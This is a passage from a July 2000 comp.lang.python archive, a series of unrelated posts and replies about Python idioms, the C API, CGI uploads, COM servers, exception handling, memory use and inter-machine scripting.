getting added by the validation phase don't change the objects'
concrete interface. Rather, they just expand the range of possible
property strings to set or get. I know that's not as syntactically
nice as swapping the concrete interface.

[...]

-- 
Steven E. Harris
Primus Knowledge Solutions, Inc.
http://www.primus.com


From srs25 at cornell.edu  Tue Jul 25 10:19:12 2000
From: srs25 at cornell.edu (Samuel Scarano)
Date: Tue, 25 Jul 2000 10:19:12 -0400
Subject: how to build arbitrarily-sized lists in one fell swoop?
Message-ID: <397DA1E0.B65DC47@cornell.edu>

There's a simple thing I want to do in python but I can't find a way that is
obvious to the reader and efficient for the interpreter. I want to make a
list with n copies of x.

This is the way that's most obvious to me:

l = []
for i in range(n):
	l.append(x)

But that looks awfully verbose for Python, and I'm sure there's a more
efficient way.

Then there's:

l = map(lambda y: x, range(n))

That's briefer, but it still involves a lot of function calls, and the
wasteful construction of a range.

So what's the right way?

-- 
Samuel R. Scarano                        "Due to circumstances beyond my
Cornell University undergraduate         control, I am master of my fate
<srs25 at cornell.edu>                      and captain of my soul."
http://people.cornell.edu/pages/srs25/             -- Ashleigh Brilliant


From bjorn at roguewave.com  Wed Jul  5 17:38:35 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Wed, 05 Jul 2000 15:38:35 -0600
Subject: Overloaded Operators allowed???
References: <8k07ke$j0r@news.or.intel.com>
Message-ID: <3963AADB.25A6776E@roguewave.com>

Jeff wrote:
> 
> Can you overload operators as you can in other languages?  For example, can
> I make "&" give the address of something as in C++?  Or can I only overload
> things like the cmp operator?  i.e. I want to say &string and get the
> address of string.

Since "&string" is illegal syntactically in Python it wouldn't make
sense to let you overload on it.  It would be like saying "I want to
overload @ in C++ so I can use it to append lists, like list1 @
list2..."

Besides, you really don't want the address of the string (trust me
<wink>).

-- bjorn



From olivierS.dagenaisP at canadaA.comM.bbs  Sun Jul 16 12:00:02 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 16 Jul 2000 16:00:02 GMT
Subject: Why make a language case sensitive?
Message-ID: <3bQS02$iPo@openbazaar.net>

VB's IDE is more than just a text editor.  Every line is checked for syntax
errors and I think compiled in the background.  Of course no other editor
could be as good, unless they also had access to the VB compiler/debugger.

Using VC's autocompletion/intellisense, you can get similar results to VB,
so something like this can be done for any language, that is correct, but
not to the extent where the editor is also a compiler.  It may not be all
that hard to implement self-correction and syntax checking in Python, since
we have "exec", but you are right:  without variable declarations this can
prove to be difficult.  Maybe whoever implements a self-correcting/syntax
checking IDE for Python should enfore a convention for "declaring" the
variables, without affecting the language itself.  Something like this, for
example:  (I'm new to Python, so please excuse the big fat mistakes I might
have made)

def SpamWindow ( ):
    " Will draw the value of m_Spam to the DC associated with the current
window handle "
    # var m_Spam, m_hWnd, m_hDC

    m_hWnd = GetCurrentWindowHandle ( )
    m_hDC = GetDCFromhWnd ( m_hWnd )
    m_Spam = m_Spam + 42
    DrawToDC ( m_hDC, m_Spam )
    DestroyWindow ( m_hWnd )

Where the variables are declared in the form of a comment that starts with
the letters "var" which, I think, is how JavaScript declares variables,
isn't it?  So, by having a line at the beginning of a function (right after
the description line, which I hope I didn't screw up) indicating the names
of the variables we intend to use, any name that isn't in that list and
isn't in anything we imported would be highlighted as a mistake, and if only
the case differs, the editor would make the case match the declaration...

Naming conventions are great, but also impossible to get everybody on earth
to accept (and use) them, unless your language enforces it, primarily
because we tend to think different, the latter being a wonderful thing!  So
your naming convention is probably wonderful, but maybe also different than
that of a third party, whose module you want to use....

Come to think of it, I don't think I have a problem with the language being
case-sensitive.  I have a problem with the editor making me think about a
detail that I have come to not have to worry about by using VB.  VB may or
may not be case sensitive, I wouldn't really know, but what's great is that
I don't have to worry about it.

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Anders Eggers-Krag" <aek at aek.dk> wrote in message
news:o8kc5.203$rg.9815 at news101.telia.com...
> I know that the VB IDE does this, but that is exactly because Microsoft
> realised
> that case sensitivity has advantages, and then they enforced case
> sensitivity in a
> way that is, agreed, in many ways smart. The real problem in Python does
not
> occur because of case sensitivity it occurs because you do not need to
> declare
> your variables. Case sensitivity is a good way way to keep the same case
> across
> different development platforms - the VB concept only works because if you
> write
> VB you use Microsofts VB IDE, not Ultra Edit, Emacs, notepad, Borland, you
> name it.
> Mircosofts system enforces IDE monopoly, which is anoying since I do not
> like the Visual
> studio IDE, I strongly prefer Borlands, or even better Ultra Edit.
>
> And the VB IDE concept could easily be implementet in a case sensitive
> language as well.
>
> And one more thing, you do not need to remeber the case of any single
> variable if you keep
> a strict definition of how case should be used: in my case all new words
> start with capital,
> except the first word of a property, method or simple type - that way I am
> never in doubt
> as to 1: what type I am dealing with, 2: never in doubt as to what the
case
> is suposed to be used...
>
> --
> Anders Eggers - Krag
>


From bdupire at seatech.fau.edu  Sat Jul  8 18:24:04 2000
From: bdupire at seatech.fau.edu (Benoit Dupire)
Date: Sat, 08 Jul 2000 18:24:04 -0400
Subject: PyArg_NoArgs / PyArg_Parse API
Message-ID: <3967AA04.6E5073BB@seatech.fau.edu>

PyArgs_NoArg(args) is an API function, used in timemodule.c and not
referenced in the documentation..

Actually, it's defined as a macro in Python.h
and is equivalent to PyArg_Parse(args,"")

I didn't see Py_ArgParse in the doc either!

It 's not too difficult too imagine what is the role of PyArg_NoArgs ;-)

But when I want to use it in the same way and when I link the C module
statically:

static PyObject * test_getstruct(PyObject * self, PyObject * args)
{

 if (!PyArg_NoArgs(args))
  return NULL;
 return PyString_FromString(example);   /* example=global variable*/
}


and when i type
>>> import test_API
>>> test_API.getstruct()
Traceback (innermost last):
  File "<stdin>", line 1, in ?
TypeError: function requires no arguments

 (I work on Python 1.5.2 on QNX). Someone can explain me this error?
It would be nice to add a little something about that in the online doc.

Thanks a lot!

Benoit








From steffen.ries at sympatico.ca  Sat Jul 29 10:16:47 2000
From: steffen.ries at sympatico.ca (Steffen Ries)
Date: Sat, 29 Jul 2000 14:16:47 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com>
Message-ID: <m3k8e5ja2d.fsf@gondolin.beleriand>

grey at despair.rpglink.com (Steve Lamb) writes:

>     Nono, you misunderstand me.  I prefer the Pascal notion of variables in
> place in the string with formatting attached to it instead of placeholder
> formatting strings with the variables hanging off the end of the string.
> Pseudo code from no language, bear with me.
> 
> "Here is a string with ",$a:d:0:0," variable in it."
> 
> "Here is a string with %d:0:0 variable in it.",$a
> 
>     In the former I read and I see, "Oh, $a goes here with this formatting"
> whereas in the latter it is "Oh, here is the formatting for...  uhm.. $a."
> 
>     Again, simplistic and not in any language, but taken to the extreme you
> can see the problem.
> 
> "%d:0:0 %c:U %s %s %s %s %d %s %s %s \
> %d:0:0!",$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k
> 
>     What variable goes with what again?

In this case I would use the dictionary variant of the format string:
"%(a)0d %(b)c:U %(c)s %(d)s %(e)s %(f)s %(g)s %(h)s %(i)s %(j)s %(k)s"\
   % vars()

/steffen
-- 
steffen.ries at sympatico.ca	<> Gravity is a myth -- the Earth sucks!


From popx at pop3.ifs.org.uk  Tue Jul 11 13:41:42 2000
From: popx at pop3.ifs.org.uk (Jocelyn Paine)
Date: Tue, 11 Jul 2000 18:41:42 +0100
Subject: INPUT TYPE=file in HTML
Message-ID: <Pine.LNX.4.10.10007111835580.31780-100000@pop3.ifs.org.uk>

Hi,

I've been trying to read files uploaded from an HTML <INPUT TYPE=FILE>
field using the CGI module. Are there known problems with this? The
documentation says that if we take the value attribute of the form fields
structure, it returns the entire contents of the file as a string. The
file attribute returns a pointer to the file. But when I try this, I seem
to get the filename as the value attribute, and nothing as the file
attribute.

The field is inside a form whose HTML arguments are just ACTION and
METHOD, nothing else. The field has a TYPE argument whose value is "file",
and a NAME attribute. And this combination of field and form works OK if I
use it to pload a file to a Perl CGI.

Thanks,

Jocelyn Paine
http://www.ifs.org.uk/~popx/
+44 (0)468 534 091 




From donn at oz.net  Wed Jul 26 01:22:58 2000
From: donn at oz.net (Donn Cave)
Date: 26 Jul 2000 05:22:58 GMT
Subject: "always passes by reference"
References: <8llct3$n34$1@news.dtc.hp.com>
Message-ID: <8llsji$60v$0@216.39.151.169>

Quoth weeks at golden.dtc.hp.com ((Greg Weeks)):
| Once upon a time, "pass by reference" meant that a function call f(x) could
| modify the binding of the variable x.  With this definition, "pass by
| reference" effectively passes the address of the variable x to the
| function.  "pass by value", by contrast, passes only the value of the
| variable x, not its address.
|
| With these definitions, Python is uniformly "pass by value".  So are Lisp,
| Java, and C, but not C++ and Perl.

I don't know about that.  But I see enough objections and amendments
have been contributed already to send this one far out to sea, so
I'll just add the observation that in Python usage, everything is
by "reference".  Any time an object is engaged in the program, it's
through what we call a reference.

The fact that a function call creates and passes these references
is really a red herring, because it doesn't matter how they get
there, by function or by import or whatever.  What you see is
always a reference, and operations on that reference have the
same implications in every case.

	Donn Cave, donn at oz.net


From dnotspam-jen at personic.com  Sun Jul  2 18:22:33 2000
From: dnotspam-jen at personic.com (donotspam-jen@personic.com)
Date: Sun, 2 Jul 2000 15:22:33 -0700
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net> <8jlmj0$r1q$1@supernews.com>
Message-ID: <395fc264$0$5621@wodc7nh0.news.uu.net>

Yes, I think for the first version I will do this (no need to deal with
multi-threading or the network this way). But after the initial version
works (hopefully later today), I'll try to move on to one of the other
methods described above, probably starting with XML-RPC if I can find more
info on it.

Thanks, all!

Jen

"Dale Strickland-Clark" <dale at out-think.NOSPAMco.uk> wrote in message
news:8jlmj0$r1q$1 at supernews.com...
> Start simple.
>
> Unless this is particularly time critical, I'd create a folder on the
Build
> server  and share it with suitably limited access.
>
> Give the Web server write access to the folder.
>
> The Web server writes a batch file or Python script to the shared
directory.
>
> Every few minutes the Build server checks this folder for a file and
> executes it.
>
> If you need some feedback, it could change the name of the file or move it
> to a subdirectory while it's running so the Web server can see it's
active.
>
> --
> Dale Strickland-Clark
> Out-Think Ltd, UK
> Business Technology Consultants
>
> donotspam-jen at personic.com <dnotspam-jen at personic.com> wrote in message
> news:395d48b3$0$21842 at wodc7nh0.news.uu.net...
> > FYI, I'm doing all of this on Windows NT, in case that makes a
difference
> > ...
> >
> > Is there a good way to get a script on one computer to talk to a script
on
> > another computer?  The process I'm thinking of is pretty simple ... I
want
> a
> > script on a Web server to be able to send a command to a build server to
> > start a build process.  I'd also like the Web server to be able to query
> the
> > build servers to find out their status (so that two builds do not run at
> > once on the same machine, for example).
> >
> > I've read a little about SOAP, but I think that my needs are probably a
> lot
> > simpler than that.  The easiest way to accomplish this is to setup a Web
> > server on each of the build machines, too, I guess ... but I was hoping
> that
> > I could just have the scripts that run on the build servers run as NT
> > services.
> >
> > Thanks!
> >
> > Jen
> >
> >
> >
> >
>
>




From dale at out-think.NOSPAM.co.uk  Sun Jul  9 09:11:51 2000
From: dale at out-think.NOSPAM.co.uk (Dale Strickland-Clark)
Date: Sun, 9 Jul 2000 14:11:51 +0100
Subject: How to use makepy?
References: <8k9o91$7b1$1@supernews.com>
Message-ID: <8k9tot$5o$1@supernews.com>

Well, all this seemed to do was break an existing working program. I've had
to delete the \gen_py folder to get things working again.

I am confused now.

Anyone got any idea how to use makepy?

Thanks

Dale Strickland-Clark

"News.tele2.co.uk" <dale at out-think.NOSPAM.co.uk> wrote in message
news:8k9o91$7b1$1 at supernews.com...
> Well I've run it and it seemed to work but I'm not really sure what to do
> next.
>
> In fact, I'm not entirely sure what it's supposed to do for me but I'm
> hoping it will at least give me access to some COM object constants.
>
> Where is it documented?
>
> Thanks
>
> Dale Strickland-Clark
>
>
>
>




From pisecky at tttech.com  Wed Jul 26 11:36:10 2000
From: pisecky at tttech.com (Manfred Pisecky)
Date: Wed, 26 Jul 2000 15:36:10 GMT
Subject: Deleting files with wildcards
Message-ID: <397f046d.193858654@news.atnet.at>

Hello everyone!

I have to delete a bundle of files, e.g. *.txt in a portable way (it
must work for Linux and NT). 

I use Python 1.5.2. and have not found a way to either delete files
with wildcards or to read the directory content (and do it file by
file).

Is there a portable way in 1.5.2 ?

Thanks,
Manfred Pisecky


From to_get_my_address at see.my.signature  Thu Jul 27 00:15:43 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 17:15:43 +1300
Subject: Don't be too hard on those who want class methods (Re: Python is wierd!)
References: <m13HJaf-000wcDC@swing.co.at>
Message-ID: <397FB76D.C05BD86B@see.my.signature>

Christian Tanzer wrote:
> 
> If you write code using classes as first-class objects, class
> variables and methods can be very useful.

This is a good point. Usually when people say that class methods
are not needed, they're talking about C++ or Java style static
methods. But Smalltalk-style class methods are a different
species altogether. In Smalltalk, a class is also an instance
(of class Class or some subclass thereof), so

   aClass frobulate: aBlivet

is dynamically dispatched on the runtime class of aClass,
just like any other message. There is no direct equivalent of
this in Python, because classes are not instances, they're a
different kind of object. The suggestion by Moshe Zadka:

> > class Function:
> >
> >       def __init__(self, func):
> >               self.func = func
> >
> >       def __call__(self, *args, **kw):
> >               return apply(self.func, args, kw)
> >
> > class SomeClass:
> >
> >       def class_method(a, b, c):
> >               return a+b+c
> >
> >       class_method = Function(class_method)

isn't quite the same thing, because there is no 'self'
in scope in the method which is bound to the receiving
class object (which might be a subclass of SomeClass,
so you can't just assume that it's SomeClass).

There are no doubt even more convoluted hacks that could
be used to fix that, but in 999,999,999 cases out of
a billion it's probably better to revise your design
so that you don't need class methods in the first place.

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From hylton at grundriss.freeserve.co.uk  Sat Jul 29 05:47:23 2000
From: hylton at grundriss.freeserve.co.uk (hylton)
Date: Sat, 29 Jul 2000 10:47:23 +0100
Subject: help with Distutils install please?
Message-ID: <3982A82B.B1C2DAA@grundriss.freeserve.co.uk>

hi,
I want to install numpy and apparently I need to use Distutils to do
this. 

[hylton at localhost Distutils-0.1.3]$ python setup.py install
running install
Traceback (innermost last):
  File "setup.py", line 13, in ?
    setup (name = "Distutils",
  File "distutils/core.py", line 102, in setup
    raise SystemExit, "error: %s: %s" % (exc.filename, exc.strerror)
AttributeError: filename

This is from a user dir on RH6.0 box. is this maybe a path problem? 

Hylton


From slinkp23 at yahoo.com  Sun Jul  9 21:04:24 2000
From: slinkp23 at yahoo.com (Paul Winkler)
Date: Sun, 09 Jul 2000 21:04:24 -0400
Subject: Namespace weirdness
References: <3968E1B0.B6E6F3E9@yahoo.com> <8F6CECA93gmcmhypernetcom@199.171.54.194>
Message-ID: <39692118.9D6EAFAA@yahoo.com>

Gordon McMillan wrote:
> 
> Paul Winkler wrote:

> >class Food:
> >    def __init__(self, attr1):
> >        self.attr1 = attr1
> >    class BodyPart:
> >        def do_it(self):
> >            # This next line is a stand-in for what I want...
> >            print my_parent_namespace.attr1
> 
> Python doesn't nest class definitions (or function defs) in a way that is
> particularly interesting. Your code creates a class object which is
> accsessible as Food.BodyPart, but BodyPart has no idea it was defined
> inside Food. As far as it's concerned, it is toplevel.

That's what I was afraid of. It does have the useful quality that
it's unrelated to any BodyPart in other namespaces, which is why I
put it in there.
Oh well.
 
> But there is absolutely no cannibalism in Python. None at all.

"Cannibalism" = classes eating classes? not sure what you mean,
sorry.
 
Thanks for the comments.

-- 
.................    paul winkler    ..................
slinkP arts:   music, sound, illustration, design, etc.
        web page:  http://www.ulster.net/~abigoo        
      A member of ARMS:   http://www.reacharms.com
               or http://www.mp3.com/arms


From mlh at idi.ntnu.no  Wed Jul 19 16:19:28 2000
From: mlh at idi.ntnu.no (Magnus Lie Hetland)
Date: Wed, 19 Jul 2000 22:19:28 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl>
Message-ID: <8l52hs$i05$1@kopp.stud.ntnu.no>

>
> Be sure to check out stackless Python, which has some advantages for
> game scripting:
>
> http://www.stackless.com/

What exactly *are* these advantages? (Very curious...)

> Regards,
>
> Martijn
> --
> History of the 20th Century: WW1, WW2, WW3?
> No, WWW -- Could we be going in the right direction?




From Vladimir.Marangozov at inrialpes.fr  Tue Jul 18 19:31:25 2000
From: Vladimir.Marangozov at inrialpes.fr (Vladimir Marangozov)
Date: Wed, 19 Jul 2000 01:31:25 +0200
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <u8zuzp0n7.fsf@ctwd0143.fitlinxx.com>
Message-ID: <3974E8CD.55215FD9@inrialpes.fr>

David Bolen wrote:
> 
> Andrew Kuchling <akuchlin at cnri.reston.va.us> writes:
> 
> > This is a first experiment in whether I can make a useful,
> > interesting, somewhat coherent summary of python-dev activity.
> > If reaction is favorable, and time permits, it may become a biweekly
> > posting.
> 
> This seems quite useful - is there any "proper" way to send feedback
> on mail on python-dev without actually being on the list?
> 

Yes. It's the comp.lang.python newsgroup. Pick up an issue, give it
a meaningful subject line (eg. Subject: Re: PEP 201 - Parallel iteration)
and discuss it. Most people on python-dev read the newsgroup regularly
and forward to the python-dev list some of the issues that have been
brought here. So there's feedback from the group to python-dev
and there's a natural selection of the topics that need python-dev's
attention. This "selection" is a matter of experience -- some topics
are recurrent in Python's life and not all posters in c.l.py are aware
that they have been discussed extensively in the past.

The reverse wasn't true and the python-dev summary documents are intended
to inform a broader audience, notably the Python community, on its
current activities. The natural place for discussing all topics brought
on python-dev is the comp.lang.python newsgroup. This is also the place
where the python-dev members are looking for feedback. For instance,
read the PEP documents -- they summarize recent and past proposals for
various enhancements. All python-dev members are interested in seeing
them discussed by the community. So don't hesitate to take a stance on
a PEP if you think that you could share an educated opinion.

-- 
       Vladimir MARANGOZOV          | Vladimir.Marangozov at inrialpes.fr
http://sirac.inrialpes.fr/~marangoz | tel:(+33-4)76615277 fax:76615252


From neilh at scintilla.org  Mon Jul 10 22:52:53 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Tue, 11 Jul 2000 02:52:53 GMT
Subject: Can anyone hear me? (was Solution to IDLE and Tkinter proble
References: <200007110229.TAA20898@stevie.loop.com>
Message-ID: <9_va5.13290$Tb7.89359@news-server.bigpond.net.au>

> However, I don't think it is the interpreter itself, because it can
> start much quicker when not run through os.system.  I read a recent
> thread about os.system which said it was slow because it loaded a
> shell to run in.

   If starting up a shell is slow check your path. Too long a path or a path
that includes networked volumes or floppy/zip drives can slow things down a
lot.

   Neil





From peter at schneider-kamp.de  Wed Jul 19 01:24:37 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Wed, 19 Jul 2000 05:24:37 +0000
Subject: Python 2.0 - win32pipe routines inclusion for Windows
References: <u66q3ovcg.fsf@ctwd0143.fitlinxx.com>
Message-ID: <39753B95.B17B988F@schneider-kamp.de>

David Bolen wrote:
> 
> I've noticed that the latest sources for Python 2.0 in CVS have
> included the win32pipe code from the PythonWin extensions as a
> replacement for the prior os.pipe() routine in Python 1.5.2.  One
> consequence of this is that you no longer receive process exit codes
> on the pipe.close() operation.  Since I need the result codes in my
> work, and work under Windows NT primarily, I figured I'd try to do
> something about it.

Excellent! That's Open Source at its best.

> I've created a small patch to the latest posixmodule.c in CVS that
> uses an internal dictionary to maintain a mapping between created
> pipes and child processes so it can retrieve the exit code, and was
> wondering if this is something that should just be submitted to the
> SourceForge patch manager or if there is any other process for Python
> 2.0 (this is my first non-R/O poke at the sources).

You got three possibilities:
- Just follow the guidelines at http://python.org/patches.
- Look at the Python at Source Forge FAQ: http://python.sourceforge.net
- just submit it, because that's what they tell you<wink>

> While munging around in the source it also appears that there seems to
> be a mismatch between the ordering of file handles returned by the
> higher order popen# routines in the internal posixmodule (the
> win32pipe routines) versus the current popen2.py library module.  I
> think I saw a discussion about this in the python-dev archives, but it
> wasn't clear if the two should be consistent at this point in the
> repository.

I can't comment on this one. If no one answers in the next days,
maybe you should send this question to python-dev at python.org.
Note that at least 120% of python-dev are at OSCON.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From m.faassen at vet.uu.nl  Mon Jul 31 04:56:56 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 31 Jul 2000 08:56:56 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8luhsi01ce8@news2.newsguy.com> <slrn8o6nub.f91.grey@teleute.rpglink.com> <8m26fm$ila$4@newshost.accu.uu.nl> <slrn8o9j3t.i9b.grey@teleute.rpglink.com>
Message-ID: <8m3f0o$hn6$1@newshost.accu.uu.nl>

Steve Lamb <grey at despair.rpglink.com> wrote:
> On 30 Jul 2000 21:25:10 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>>Then have your program catch your exceptions! That's one of the main
>>reasons for the existence of the exception handling mechanism; to recover
>>gracefully from the unexpected.

>>It is possible to catch *all* exceptions, if you're worried about that.
>>Or whole groups of exceptions, if you like. They're in a hierarchy.

>     However I find that exceptions come up on the damnedest things, break you
> out of loops, cause problems all around and don't let you return to where you
> were, esp. when you use general catch all exceptions.  As Alex(?) said, you
> don't return to where you were so, to me, it seems quite impossible to be able
> to catch /all/ exceptions gracefully, ever.

Well, I have lots of working Python software still. :)

In the presence of bugs in your code, you cannot catch all exceptions
*gracefully*. This is because you do not know where all your bugs are.
Bugs are not graceful, period.

As pointed out to you before, you seem to overestimate the amount of 
exceptions you need to catch, to handle gracefully or not.

Let's try to classify exceptions:

  1. A test. You expected this exception and check for it, such as in
   
    try:
        b = int(b)
    except ValueError:
        b = 0

  2. Unexpected external conditions you didn't think of (file turned out to be
    locked, etc).
 
  3. an assumption about the structure of input that turns out to be wrong.
    i.e., a bug.

  4. a mistake in your code. You call a nonexistent function, refer to
    nonexistent variables, your algorithm is just wrong, etc. i.e., a bug.

Category 1 exceptions are no problem; you handle them. Category 2 exceptions
are the most tricky. They may hint at a bug (you should have checked whether
the file was locked). What *is* sure is that you usually cannot continue
gracefully; you can't write to the locked file and you need to, or whatever.
Ungraceful handling can be implemented with some outer exception handler,
or it can be accepted that the program can fail under these circumstances.

If it *does* turn out you can continue gracefully, you can only continue
gracefully if you catch the exception and handle it, in which case it
turns into a variety of category 1. You really fixed a bug in that case.

Note that category 1 and category 2 exceptions generally do not happen
all over your code. You factored out your code well and these things only
happen in specific places. You don't have to place handlers all over
the place.

Category 3 and 4 are bugs. Bugs cannot be handled gracefully. Again you
have two options; have the program stop in the face of a bug, or do a
catch-all and try to continue anyway.

In the light of that, let's translate what seem to be saying:

"""
     However I find that bugs come up on the damnedest things, break you
out of loops, cause problems all around and don't let you return to where you
were [in the algorithm], esp. when you use general catch all exceptions.
As Alex(?) said, you don't return to where you were so, to me, it seems quite
impossible to be able to catch /all/ bugs gracefully, ever.
"""

The answer to that is easy: No, of course not.

Regards,

Martijn 
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From paul.magwene at yale.edu  Thu Jul 20 13:22:33 2000
From: paul.magwene at yale.edu (Paul Magwene)
Date: Thu, 20 Jul 2000 13:22:33 -0400
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <x83HMXAHJxd5EwAj@jessikat.fsnet.co.uk> <m2n1jcooct.fsf@spiff.home.com> <39772612.CE635178@fft.be> <m2bszsokwh.fsf@spiff.home.com>
Message-ID: <39773559.77C3D696@yale.edu>

Tim Hochberg wrote:
> 
> Gregory Lielens <gregory.lielens at fft.be> writes:
> 
> > Tim Hochberg wrote:
> [...]
> > I like the parethese a lot! except for ? which is probably out of
> > question,
> > this is the prettier way to do it, but (alwas a but :-( )
> >
> > - the solve operator indeed...The only thing i can come with is the ugly
> > (%)
> >   or the pretty but out-of-question (\)
> 
> My favorite right now is |. So one would have:
> 
> A[*]B    # matouter
> A(*)B    # matinner
> A(/)B    # matdiv
> A(|)B    # matsolve
> A(^)B    # matpower
> 
> Alternatively, one could use:
> 
> A(*)B   # matouter
> A(.)B   # matinner (AKA dot, get it?)
> 
> That would cut down on the available symbols, but might make parsing
> easier? It might also be easier to distinguish between the two
> products.
> 
> I've left out other potential outer operators (outer sum, etc) and
> alternate inner products (Lie, Kroneker, ?) pending finding a
> constituency for them.

Kronecker products get used enough (at least in statistics) that I'd
hope we'd include 'em (we're already on our way down the slippery slope,
so I may as well lobby for operators *I* want ;-).

How about:

A{*}B   # matkron
 
(Paralleling A[*]B for matouter, and A(*)B for matinner)


-- 

Paul Magwene
paul.magwene at yale.edu


From spam at spam.com  Wed Jul 26 20:38:50 2000
From: spam at spam.com (Penfold)
Date: Thu, 27 Jul 2000 01:38:50 +0100
Subject: How to create COM Servers with IID_IDTExtensibility2 interface 
Message-ID: <jwLf5.312$671.55181@nnrp4.clara.net>

Any win32 COM gurus here ? :-) [eg Mark Hammond ;-) ]

What I am trying to do:
    Create an in-process COM Server capable of being used by Excel as a
"COMAddin"

According to a very small demo I have downloaded from Microsofts website,
for a COM object to be used by excel as a COM Addin
it must implement the interface IID_IDTExtensibility2.  I know the GUID for
this interface and its "defined methods".

How can I do this?  All of the examples I have read in pythonwin (build 132
on python 1.5.2) imply that you can only create
objects with particular interfaces that are defined in the pythoncom module
itself eg IID_IDispatch, IID_IConnectionPoint etc

Now pythoncom.IID_IDTExtensibility2 is not a defined variable.  So is there
any way I can go about registering an object as
satisfying this specific interface??

Any help appreciated,

Des






From mrinal at my-deja.com  Tue Jul  4 03:41:06 2000
From: mrinal at my-deja.com (mrinal at my-deja.com)
Date: Tue, 04 Jul 2000 07:41:06 GMT
Subject: Worldpilot
Message-ID: <8js4ef$v4n$1@nnrp1.deja.com>

Hi,

Has anybody tried Worldpilot here? I'm having issues with DateTime.py -
it doesn't seem to work with my timezone (IST - +05:30). Has anybody
worked around this problem? Any patches available for it?

Please cc <mrinal at india.com> on replies..

--
Mrinal Kalakrishnan
mrinal at india.com
http://mrinal.dhs.org/


Sent via Deja.com http://www.deja.com/
Before you buy.


From ldw at us.ibm.com  Tue Jul 25 11:59:33 2000
From: ldw at us.ibm.com (Larry Whitley)
Date: Tue, 25 Jul 2000 10:59:33 -0500
Subject: Memory management
Message-ID: <8lkdh5$qpm$1@news.rchland.ibm.com>

I'm running out of virtual memory on my NT 4.0 system running a longish
python script.  Python says "memory error" and quits.  NT shows the
application using 130+ megabytes.  I have 192 megabytes on the system so it
seems like a rational number.  I suspect that this means that I have a
memory leak in my code.

In the outer loop of my code, I create a object of a class I have defined.
The outer loop reads records from a trace file and hands them to the object
created for execution.  This first level object creates a number of second
level objects of a different class while processing the trace file.  When
the trace file is complete, the outer loop deletes the first level object.
I am expecting that to cause all of the references held by that object, and
those of the second level objects is created to go to zero.

Here's a programmtic description:

def outerloop:
    # make a list of trace files to process
    for file in infiles:
        o1 = FirstLevelClass( some, parameters) # create the object that
will process the trace record
        o1.runTrace( file )
        o1.report()
        del o1

class FirstLevelClass:
    def __init__( self, some, parameters):
        aDict = {} # these get filled over time
        aList = []
    def run(file):
        ...
        o1a = SecondLevelClass( some, parameters)
        ...

class SecondLevelClass
    def __init__(self, some, parameters)
        aDict = {}# these get filled over time
        aList = []

My question:  How do I get rid of the memory used by o1 and by o1a, o1b, etc
within o1 when each trace file is processed?

Larry





From paul at prescod.net  Mon Jul 17 01:16:44 2000
From: paul at prescod.net (Paul Prescod)
Date: Mon, 17 Jul 2000 00:16:44 -0500
Subject: Type checking in python?
References: <Ptvc5.40687$MT.1455524@news-west.usenetserver.com>
Message-ID: <397296BC.415C97E1@prescod.net>

Matthew Cline wrote:
> 
>   def my_func(foo, bar, quux):
>      if not isinstance(quux, Quux):
>         raise RuntimeError("param 'quux' must be of class 'Quux'")

Let me also point out that in many cases, this style of programming
would be frowned upon by serious Python programmers. For instance, if
you check that something is a string, your code will complain when it is
handed a Unicode string, even though it would probably work fine. If you
check that it is an open file, then your code probably will complain
about stringIO file-like objects, even though it would probably work
fine. If you check that it is an integer, your code will complain about
integers, even though ti would probably work fine.

In general, the Python philosophy is to "just try it" and see if it
works. Sometimes type checks are appropriate but if you do it on the
entry to every function, you are probably doing too much work and making
your own life (or someone else's) harder later on.
-- 
 Paul Prescod - Not encumbered by corporate consensus
It's difficult to extract sense from strings, but they're the only
communication coin we can count on. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From hzhu at localhost.localdomain  Tue Jul 11 15:24:53 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 11 Jul 2000 19:24:53 GMT
Subject: off-topic, "Compiler" technology
References: <396ABBD7.8715465D@t-online.de>
Message-ID: <slrn8mmtao.tl.hzhu@localhost.localdomain>

On Tue, 11 Jul 2000 08:16:55 +0200, Andreas Otto <aotto at t-online.de> wrote:
>
